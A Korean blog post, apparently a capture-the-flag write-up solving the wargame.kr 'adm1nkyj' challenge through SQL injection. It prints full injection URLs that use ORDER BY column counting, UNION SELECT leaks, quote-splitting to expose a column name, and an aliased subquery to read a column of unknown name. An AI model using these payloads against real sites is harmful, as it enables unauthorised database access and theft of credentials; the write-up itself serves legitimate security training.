White Security
[wargame.kr] adm1nkyj 문제풀이 본문
wargame.kr 사이트의 마지막 웹 문제입니다.
SQL 인젝션 문제입니다
접속하자마자 소스가 표시되는데
pw, flags 값이 사전 계산된 값과 동일하면
플래그를 출력하고
그렇지 않은경우 id 컬럼만 표시하고 있네요.
id 컬럼 출력 부분을 활용해서
정보를 가져올 수 있을 것으로 보입니다.
http://wargame.kr:8080/adm1nkyj/?id=admin&pw='+and+0+union+select+1,@@version,3,4,5--+-
http://wargame.kr:8080/adm1nkyj/?id='+or+1+order+by+5--+-
id 파라미터에 order by 절을 사용해
findflag_2 테이블의 컬럼이
5개라는 것을 알 수 있었습니다.
http://wargame.kr:8080/adm1nkyj/?id='+and+0+union+select+1,2,3,4,5--+-
http://wargame.kr:8080/adm1nkyj/?id='+and+0+union+select+1,@@version,3,4,5--+-
두번째 컬럼이 id라는 것을 알 수 있습니다.
이제 pw_column과 flag_column 값만 알아내면
해결될 듯 보이는데
사실 이 부분이 문제의 핵심입니다.
php 변수화된 값을 알아내기가 쉽지 않지요.
pw_column 을 알아내는 것은 비교적 간단합니다.
SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}'
pw_column를 둘러싼 쿼트를 이용하면
' and $pw_column=' 부분을 문자열 값으로
취급할 수 있습니다.
and나 = 같은 사족이 붙기는 하지만요.
http://wargame.kr:8080/adm1nkyj/?id='+and+0+union+select+1,&pw=,3,4,5--+-
SELECT * FROM findflag_2 WHERE $id_column='' and 0 union select 1,' and $pw_column=',3,4,5--+-'
위처럼 id와 pw값을 적절히 조절하면 컬럼명을
문자열 인자로 취급시키는 것이 가능합니다.
>http://wargame.kr:8080/adm1nkyj/?id='+and+0+union+select+1,(select+xPw4coaa1sslfe+from+findflag_2),3,4,5--+-
http://wargame.kr:8080/adm1nkyj/?id=adm1ngnngn&pw=%21@SA%23%24%21
adm1ngnngn 계정의 pw 값을 알아냈습니다.
flag 값은 alias 를 붙여준 서브쿼리와
select 문의 조합으로 알아낼 수 있습니다.
컬럼명을 모르고 information_schema에도
접근이 불가능한 경우에 사용할 수 있는 방법입니다.
http://wargame.kr:8080/adm1nkyj/?id='+and+0+union+select+1,flag,3,4,5+from+(select+1,2,3,4+as+flag,5+union+select+*+from+findflag_2+limit+1,1)x--+-<
flag 값을 확인하고 인자에 넣어주는 것으로 플래그를 얻어낼 수 있었습니다.
'Wargame Writeups > wargame.kr' 카테고리의 다른 글
[wargame.kr] counting query 문제풀이 (0) | 2019.01.28 |
---|---|
[wargame.kr] jff3_magic 문제풀이 (0) | 2019.01.27 |
[wargame.kr] login with crypto! but.. 문제풀이 (0) | 2019.01.25 |
[wargame.kr] dun worry about the vase 문제풀이 (0) | 2019.01.25 |
[wargame.kr] QnA 문제풀이 (0) | 2019.01.24 |
Comments